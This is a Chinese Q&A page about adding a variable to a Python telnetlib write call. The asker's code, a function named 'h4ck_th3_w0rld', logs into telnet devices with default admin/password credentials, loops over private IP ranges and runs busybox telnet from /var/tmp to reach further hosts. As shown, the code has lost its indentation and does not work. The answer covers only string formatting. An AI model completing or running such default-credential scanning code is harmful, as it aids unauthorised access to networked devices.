如何解决如何在写入函数的末尾添加变量并将其循环放置
我正在使用telnetlib.Telnet函数连接到telnet设备,但是我不知道如何在写函数末尾添加变量,我看到How do I put a variable inside a string? bu并没有帮助我,所以这是我的代码
def h4ck_th3_w0rld(HOST):
user = 'admin'
password = 'password'
tn = None
try:
tn = telnetlib.Telnet(HOST,23,11)
tn.read_until("Username: ",7)
tn.write(user + "\n")
if password:
tn.read_until("Password: ",7)
tn.write(password + "\n")
for i in range(100,256):
for j in range(7,7):
ip_addressa = '192.168.%d.%d' % (j,i)
h4ck_th3_w0rld(ip_addressa)
print(ip_addressa)
tn.write("cd /var/tmp\n")
tn.write("./busybox telnet {}\n"(ip_addressa)) <--- here add ip_addressa variable
tn.write("exit\n")
我需要在循环中将/var/tmp/busybox telnet 172.24.%d.%d
放在一边,并要求看起来像这样
./busybox telnet 192.168.7.100
./busybox telnet 192.168.7.101
解决方法
您需要将其连接:
tn.write("./busybox telnet " + ip_addressa + "\n")
或使用format()
:
tn.write("./busybox telnet {}\n".format(ip_addressa))
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。